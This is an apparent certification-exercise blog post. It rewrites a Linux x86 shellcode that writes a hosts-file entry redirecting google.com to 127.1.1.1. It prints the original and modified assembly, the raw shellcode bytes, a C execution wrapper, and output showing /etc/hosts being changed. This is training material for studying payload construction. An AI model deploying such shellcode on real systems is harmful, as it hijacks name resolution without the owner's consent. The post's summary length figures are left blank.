Jakub Heba, Security Researcher @ AFINE

Research and Security of Web Applications, Assembly, Reverse Engineering. All kind of security related stuff.

View my GitHub

Modify Hosts File

Address of the original shellcode:

Original source code:

/**

;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1 
;author Javier Tejedor
;date 24/09/2014

global _start

section .text

_start:
    xor ecx, ecx
    mul ecx
    mov al, 0x5     
    push ecx
    push 0x7374736f     ;/etc///hosts
    push 0x682f2f2f
    push 0x6374652f
    mov ebx, esp
    mov cx, 0x401       ;permmisions
    int 0x80        ;syscall to open file

    xchg eax, ebx
    push 0x4
    pop eax
    jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    pop ecx
    push 20         ;length of the string, dont forget to modify if changes the map
    pop edx
    int 0x80        ;syscall to write in the file

    push 0x6
    pop eax
    int 0x80        ;syscall to close the file

    push 0x1
    pop eax
    int 0x80        ;syscall to exit

_load_data:
    call _write
    google db "127.1.1.1 google.com"
**/
i
#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x6f\x73\x74\x73\x68\x2f\x2f\x2f\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x6a\x04\x58\xeb\x10\x59\x6a\x14\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d";

main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

I will try to present my polymorphic shellcode in parts (and finally the whole) in order to explain in detail the changes and improvements I have made.


Clearing

Original code:

  xor ecx, ecx
  mul ecx

Code after changes:

  push ecx
  pop eax

After analysis in GDB, it turned out that only the EAX register is required to be reset (other registers already contain zeros). We can therefore replace two double-byte lines of code with two single-byte ones, thus saving two bytes.

sys_open()

Original code:

  mov al, 0x5     
  push ecx
  push 0x7374736f     ;/etc///hosts
  push 0x682f2f2f
  push 0x6374652f
  mov ebx, esp
  mov cx, 0x401       ;permmisions
  int 0x80            ;syscall to open file

Code after changes:

  add al, 5
  push ecx
  jmp short _second

_hosts:
  pop ebx
  mov cx, 0x401
  int 0x80

[..]

_second:
  call _hosts
  host db "/etc/hosts"

The opening of the file has been thoroughly rebuilt. As you can see, I used the JMP-CALL-POP technique to load the "/ etc / hosts" value on top of the stack and then put it in EBX with the "pop ebx" instruction. The method of placing the value 5 in EAX has also been changed (from MOV to ADD).


sys_write()

Original code:

  xchg eax, ebx
  push 0x4
  pop eax
  jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
  pop ecx
  push 20                 ;length of the string, dont forget to modify if changes the map
  pop edx
  int 0x80                ;syscall to write in the file
  
[..]
  
_load_data:
  call _write
  google db "127.1.1.1 google.com"

Code after changes:

  mov ebx, eax
  push 0x4
  pop eax
  jmp short _load_data

_write:
  pop ecx
  mov dl, len
  int 0x80       

[..]

_load_data:
  call _write
  google db "127.1.1.1 google.com"
  len equ $-google

At the beginning, I changed a very optimal solution using the XCHG instruction to a simpler MOV. Then, the JMP-CALL-POP technique is called. As you probably remember, I used it once in this code, so the second use should be impossible. At the time of the CALL statement, the value you want to add to the file is thrown onto the stack, as well as the next lines of code, i.e. previously used string "/etc/hosts". However, the argument that we put in the EDX register comes in handy, which is the length of the string we want to put in the write() function. With its help, we can "cut" the long string only to the amount that interests us. To this end, I used the nasm language function - length(), assigning it to the variable "len".


sys_close()

Original code:

  push 0x6
  pop eax
  int 0x80        ;syscall to close the file

After analysis and tests, despite the fact that this is not very elegant behavior, you can completely skip sys_close() system call, because the file is already overwritten (goal achieved). It remains therefore only to close the program - sys_exit().


sys_exit()

These lines of code remained unchanged.


Full code after changes

global _start

section .text

_start:
  push ecx                ; Pushes 0
  pop eax                 ; Moving 0 to EAX 
  add al, 5               ; Moving 5 to EAX (for sys_open())
  push ecx                ; Pushing 0 on the stack (string terminator for next lines of code)
  jmp short _second       ; JMP-CALL-POP

_hosts:
  pop ebx                 ; Moving "/etc/hosts" string to EBX
  mov cx, 0x401           ; Setting permissions - /etc/hosts can be modified only by user like root
  int 0x80                ; Syscall execution
  
  mov ebx, eax            ; Moving syscall return value (7) to EBX
  push 0x4                ; Pushing 4 on the stack
  pop eax                 ; Moving value 4 to EAX
  jmp short _load_data    ; JMP-CALL-POP #2

_write:
  pop ecx                 ; Moving "127.1.1.1 google.com" to ECX
  mov dl, len             ; Moving length of above string to EDX
  int 0x80                ; Syscall execution

  push 1                  ; Pushes 1 on stack
  pop eax                 ; Moving 1 to EAX
  int 0x80                ; Syscall execution

_load_data:
  call _write             ; JMP to _write section
  google db "127.1.1.1 google.com"
  len equ $-google

_second:
  call _hosts             ; JMP to _hosts section
  host db "/etc/hosts"

Compiling and Execution

$ ./compile.sh modify-hosts
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
"\x51\x58\x04\x05\x51\xeb\x31\x5b\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\xeb\x0a\x59\xb2\x14\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xf1\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\xe8\xca\xff\xff\xff\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"

Shellcode.c wrapper file content:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x51\x58\x04\x05\x51\xeb\x31\x5b\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\xeb\x0a\x59\xb2\x14\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xf1\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\xe8\xca\xff\xff\xff\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73";
main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Execution:

$  cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	ubuntu
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode

Shellcode Length:  71

$ cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	ubuntu
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.1.1.1 google.com            <---------

Summary

Original shellcode length:

Length of polymorphic shellcode:

Difference in length:

Pwned.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1524